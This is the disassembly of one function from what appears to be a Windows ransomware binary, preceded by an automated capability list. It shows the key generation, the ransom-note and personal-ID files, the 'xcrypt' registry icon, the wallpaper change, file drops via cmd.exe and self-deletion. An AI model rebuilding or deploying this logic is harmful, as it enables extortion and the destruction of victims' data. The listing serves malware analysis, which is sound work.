Function at 0x140013480
Capabilities:
Create process on windows
Encode data using xor
Execute command
Get common file path
Get session user name
Self delete
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push r15
mov eax, 0x3698
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.140004940
sub rsp, rax
mov qword [rsp + 0x36e8], rdx
call fcn.140003920
xor ecx, ecx
call sub.msvcrt.dll__time64
mov rbx, rax
call sub.msvcrt.dll_clock
lea ecx, [rax + rbx]
call sub.msvcrt.dll_srand
xor ecx, ecx
call fcn.140002cb0
test eax, eax
je 0x1400134e5
mov r13d, 1
mov eax, r13d
add rsp, 0x3698
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea r12, [rsp + 0xc0]
lea rbx, [rsp + 0xe0]
call fcn.140002ec0
mov rsi, r12
nop dword [rax]
call sub.msvcrt.dll_rand
add rsi, 1
mov byte [rsi - 1], al
cmp rsi, rbx
jne 0x140013500
mov rcx, r12
lea r13, [rsp + 0x190]
xor r14d, r14d
mov rsi, rbx
call fcn.140002810
lea rdx, [rsp + 0x88]
mov rcx, r13
mov dword [rsp + 0x88], 0x101
mov byte [rax + 0x40], 0
mov rbp, rax
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1c
lea rax, [rsp + 0x2a0]
mov rdi, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xor ecx, ecx
mov qword [rsp + 0x20], rax
call rdi
mov qword [rsp + 0xa0], r14
mov qword [rsp + 0xa8], r14
mov qword [rsp + 0xb0], r14
lea r14, [rsp + 0x100]
nop dword [rax]
call sub.msvcrt.dll_rand
add rsi, 1
mov byte [rsi - 1], al
cmp rsi, r14
jne 0x140013590
movdqu xmm0, xmmword [rsp + 0xe0]
mov r8, r12
mov edx, 0x20
mov rcx, rsi
movdqu xmm1, xmmword [rsp + 0xf0]
lea r9, [rsp + 0xa0]
movups xmmword [rsp + 0x100], xmm0
movups xmmword [rsp + 0x110], xmm1
call fcn.140001aa0
mov rcx, rbx
call fcn.140002810
mov rcx, rsi
call fcn.140002810
mov rcx, rax
mov rsi, rax
call sub.msvcrt.dll_strlen
mov rcx, rsi
mov rdx, rax
call fcn.140002340
mov rcx, rax
mov qword [0x14004d068], rax
mov rsi, rax
call fcn.140002870
mov qword [0x140049040], rax
mov r9, rax
test rax, rax
je 0x140013d8c
lea rsi, [rsp + 0x1290]
mov r8, r13
lea rdx, str._s__s_priv.key
mov rcx, rsi
call fcn.140001440
mov rcx, rsi
lea rdx, [0x140045107]
call sub.msvcrt.dll_fopen
mov rsi, rax
test rax, rax
je 0x140013669
mov r8, rbp
lea rdx, [0x140045507]
mov rcx, rax
call fcn.140001470
mov rcx, rsi
lea rbp, [rsp + 0x4c0]
lea rsi, [rsp + 0x5d0]
call sub.msvcrt.dll_fclose
lea r15, [rsp + 0x3b0]
lea rcx, str.color_07
call sub.msvcrt.dll_system
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, 0x28
mov qword [rsp + 0x20], r15
lea r12, [rsp + 0x6e0]
call rdi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, 0x1c
mov qword [rsp + 0x20], rbp
call rdi
mov rdx, rbp
mov rcx, rsi
mov r14d, eax
call sub.msvcrt.dll_strcpy
mov rcx, rsi
call sub.msvcrt.dll_strlen
mov rdx, rbp
movabs rcx, 0x617338323430615c
add rax, rsi
mov qword [rax], rcx
movabs rcx, 0x7478742e646173
mov qword [rax + 6], rcx
mov rcx, r12
call sub.msvcrt.dll_strcpy
mov rcx, r12
call sub.msvcrt.dll_strlen
movabs rcx, 0x622e326b636f6c5c
add rax, r12
mov qword [rax], rcx
mov rcx, rsi
xor esi, esi
mov dword [rax + 7], 0x706d62
call fcn.140002d60
lea rdx, [rsp + 0x8c]
mov rcx, r15
mov dword [rsp + 0x8c], esi
call fcn.1400025d0
test r14d, r14d
js 0x140013d6a
xor r11d, r11d
lea rdx, [rsp + 0x90]
mov rcx, r15
mov dword [rsp + 0x90], r11d
call fcn.1400029b0
cmp dword [rsp + 0x90], 0x32
jg 0x1400134c8
mov edx, 1
lea rcx, [0x140001510]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
test eax, eax
je 0x1400134c8
lea rsi, [rsp + 0x7f0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
lea r14, [rsp + 0xf60]
call rdi
mov rdx, rsi
lea rdi, [rsp + 0xc30]
mov dword [rsp + 0x7c], eax
lea rax, [rsp + 0x900]
mov rcx, rax
mov qword [rsp + 0x70], rax
call sub.msvcrt.dll_strcpy
lea rax, [rsp + 0xa10]
mov rdx, rsi
mov rcx, rax
mov qword [rsp + 0x58], rax
call sub.msvcrt.dll_strcpy
lea rax, [rsp + 0xb20]
mov rdx, rsi
mov rcx, rax
mov qword [rsp + 0x50], rax
call sub.msvcrt.dll_strcpy
mov rdx, rsi
mov rcx, rdi
call sub.msvcrt.dll_strcpy
lea rax, [rsp + 0xd40]
mov rdx, rsi
mov rcx, rax
mov qword [rsp + 0x60], rax
call sub.msvcrt.dll_strcpy
lea rax, [rsp + 0xe50]
mov rdx, rsi
mov rcx, rax
mov qword [rsp + 0x68], rax
call sub.msvcrt.dll_strcpy
mov rdx, rbp
mov rcx, r14
call sub.msvcrt.dll_strcpy
mov rcx, r14
call sub.msvcrt.dll_strlen
mov rsi, qword [rsp + 0x70]
movabs rdx, 0x63692e6e6f63695c
add rax, r14
mov qword [rax], rdx
mov rcx, rsi
mov word [rax + 8], 0x6f
call sub.msvcrt.dll_strlen
movabs rdx, 0x454d44414552215c
add rax, rsi
mov rsi, qword [rsp + 0x58]
mov qword [rax], rdx
movabs rdx, 0x7478742e454d44
mov qword [rax + 5], rdx
mov rcx, rsi
call sub.msvcrt.dll_strlen
movabs rdx, 0x2e7233786946585c
add rax, rsi
mov rsi, qword [rsp + 0x50]
mov qword [rax], rdx
mov dword [rax + 8], 0x657865
mov rcx, rsi
call sub.msvcrt.dll_strlen
mov rdx, rsi
mov rcx, rdi
movabs rsi, 0x706d622e67625c
mov qword [rdx + rax], rsi
call sub.msvcrt.dll_strlen
add rdi, rax
movabs rax, 0x6573656e6968635c
mov qword [rdi], rax
movabs rax, 0x7661772e657365
mov qword [rdi + 5], rax
mov rdi, qword [rsp + 0x60]
mov rcx, rdi
call sub.msvcrt.dll_strlen
movabs rdx, 0x74707972636e655c
movabs rcx, 0x73656c69665f6465
add rax, rdi
mov rdi, qword [rsp + 0x68]
mov qword [rax], rdx
movabs rdx, 0x7478742e73656c
mov qword [rax + 8], rcx
mov rcx, rdi
mov qword [rax + 0xd], rdx
call sub.msvcrt.dll_strlen
movabs rdx, 0x616e6f737265705c
movabs rcx, 0x7478742e64695f6c
add rax, rdi
mov qword [rax], rdx
lea rdx, [0x140045107]
mov qword [rax + 8], rcx
lea rcx, str.personal_id.txt
mov byte [rax + 0x10], 0
call sub.msvcrt.dll_fopen
mov r8, qword [0x140049040]
lea rdx, [0x140045507]
mov rsi, rax
mov rcx, rax
call fcn.140001470
mov rcx, rsi
call sub.msvcrt.dll_fclose
mov r8d, dword [rsp + 0x8c]
mov rdx, rbx
mov rcx, r15
call fcn.140001e20
mov r9d, dword [rsp + 0x7c]
test r9d, r9d
jne 0x140013d99
lea rcx, [0x140045578]
xor ebx, ebx
lea rsi, [0x14004b060]
call sub.msvcrt.dll_system
jmp 0x1400139dd
mov rcx, qword [rsi + rbx*8]
add rbx, 1
call sub.msvcrt.dll_free
cmp dword [0x14004d060], ebx
jg 0x1400139d0
lea r9, [rsp + 0x120]
lea rdi, [rsp + 0x120]
mov ecx, 0x6f
xor edx, edx
lea rsi, [0x140045678]
mov r8d, 0x1c
rep movsb byte [rdi], byte [rsi]
mov rcx, r9
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word [rax + rax]
movzx r10d, byte [rcx]
mov eax, r8d
add rcx, 1
xor r10d, edx
sub eax, r10d
lea r10d, [rdx + rdx]
ror al, 3
xor eax, 0x18
add eax, edx
xor eax, 0x70
sub eax, edx
rol al, 2
not eax
sub r10d, eax
mov eax, r10d
xor eax, edx
add edx, 1
not eax
mov byte [rcx - 1], al
cmp edx, 0x6f
jne 0x140013a40
lea rsi, [rsp + 0x1e90]
lea rbx, [rsp + 0x1690]
mov r8, r13
mov rcx, rsi
lea rdx, str.Hello__s___s
call fcn.140001440
mov r8, r13
mov rdx, rsi
mov rcx, rbx
call fcn.140001440
mov rdx, rbx
lea rcx, str.bg.bmp
lea rsi, [0x140045095]
call fcn.140002f20
mov rcx, qword [0x140049040]
call sub.msvcrt.dll_free
mov rdx, rsi
lea rcx, str.XFix3r.exe
call sub.msvcrt.dll_fopen
mov rbx, rax
test rax, rax
je 0x140013b03
mov r9, rax
mov rax, qword [0x1400462a0]
mov rcx, qword [0x140046290]
mov edx, 1
mov r8d, dword [rax]
call sub.msvcrt.dll_fwrite
mov rcx, rbx
call sub.msvcrt.dll_fclose
mov rdx, rsi
mov rcx, r14
call sub.msvcrt.dll_fopen
mov rbx, rax
test rax, rax
je 0x140013b3c
mov r9, rax
mov rax, qword [0x1400464d0]
mov rcx, qword [0x1400464c0]
mov edx, 1
mov r8d, dword [rax]
call sub.msvcrt.dll_fwrite
mov rcx, rbx
call sub.msvcrt.dll_fclose
mov rdx, rsi
mov rcx, r12
call sub.msvcrt.dll_fopen
mov rbx, rax
test rax, rax
je 0x140013b75
mov r9, rax
mov rax, qword [0x1400464b0]
mov rcx, qword [0x1400464a0]
mov edx, 1
mov r8d, dword [rax]
call sub.msvcrt.dll_fwrite
mov rcx, rbx
call sub.msvcrt.dll_fclose
xor r9d, r9d
xor r10d, r10d
xor r8d, r8d
lea rax, [rsp + 0x94]
mov qword [rsp + 0x30], r9
xor r9d, r9d
lea rdx, str.SoftwareClasses.xcryptDefaultIcon
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x98]
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r10d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1400134c8
mov rcx, r14
call sub.msvcrt.dll_strlen
mov qword [rsp + 0x20], r14
xor r8d, r8d
xor edx, edx
add eax, 1
mov rcx, qword [rsp + 0x98]
mov r9d, 1
mov dword [rsp + 0x28], eax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x98]
mov r13d, eax
test eax, eax
jne 0x140013dad
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdi, qword [rsp + 0x50]
lea rbx, [rsp + 0x2690]
lea r12, [rsp + 0x1070]
mov rcx, rdi
call fcn.1400031c0
xor r9d, r9d
xor r8d, r8d
mov edx, 0x3000
mov ecx, 0x8000000
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
mov rax, qword [rsp + 0x60]
mov r9, rdi
mov rcx, rbx
mov r8, qword [rsp + 0x58]
lea rdx, str._c_move_XFix3r.exe___s___move_bg.bmp___s___move__README.txt___s___move_personal_id.txt___s___move_encrypted_files.txt___s_
lea rdi, str.open
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
call fcn.140001440
mov r9, rbx
xor ecx, ecx
xor r8d, r8d
lea rbx, [rsp + 0x1180]
mov dword [rsp + 0x28], ecx
mov rdx, rdi
xor ecx, ecx
mov qword [rsp + 0x20], r8
mov rsi, qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r8, str.cmd.exe
call rsi
mov rdx, rbp
mov rcx, rbx
call sub.msvcrt.dll_strcpy
mov rcx, rbx
call sub.msvcrt.dll_strlen
xor r9d, r9d
mov rbp, qword [sym.imp.USER32.dll_SystemParametersInfoA]
mov r8, r12
movabs rdx, 0x68746170646c6f5c
add rax, rbx
movabs rcx, 0x78742e6c6c61775f
mov qword [rax], rdx
mov edx, 0x104
mov qword [rax + 8], rcx
mov ecx, 0x73
mov word [rax + 0x10], 0x74
call rbp
test eax, eax
jne 0x140013db8
mov r8, qword [rsp + 0x50]
xor edx, edx
mov r9d, 2
mov ecx, 0x14
call rbp
mov rax, qword [rsp + 0x36e8]
mov r8, qword [rsp + 0x58]
lea rbx, [rsp + 0x1a90]
mov rcx, rbx
lea rdx, str._c__start__s__del__s__exit_
mov r9, qword [rax]
call fcn.140001440
xor edx, edx
xor eax, eax
mov r9, rbx
mov qword [rsp + 0x20], rdx
lea r8, str.cmd.exe
mov rdx, rdi
xor ecx, ecx
mov dword [rsp + 0x28], eax
call rsi
jmp 0x1400134ce
mov ecx, 2
call qword [fcn.1400130b0]
mov r8d, r14d
lea rdx, str.Failed_to_get_profile_path._Error:__x_n
mov rcx, rax
call fcn.140001470
jmp 0x1400134c8
mov rcx, rsi
call sub.msvcrt.dll_free
jmp 0x1400134c8
mov edx, r9d
lea rcx, str.Failed_to_get_Desktop_path__error__ld__n
call fcn.1400014a0
jmp 0x1400134c8
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400134c8
mov rcx, rbx
lea rdx, [0x140045107]
call sub.msvcrt.dll_fopen
mov r8, r12
lea rdx, [0x140045507]
mov rbx, rax
mov rcx, rax
call fcn.140001470
mov rcx, rbx
call sub.msvcrt.dll_fclose
jmp 0x140013d0c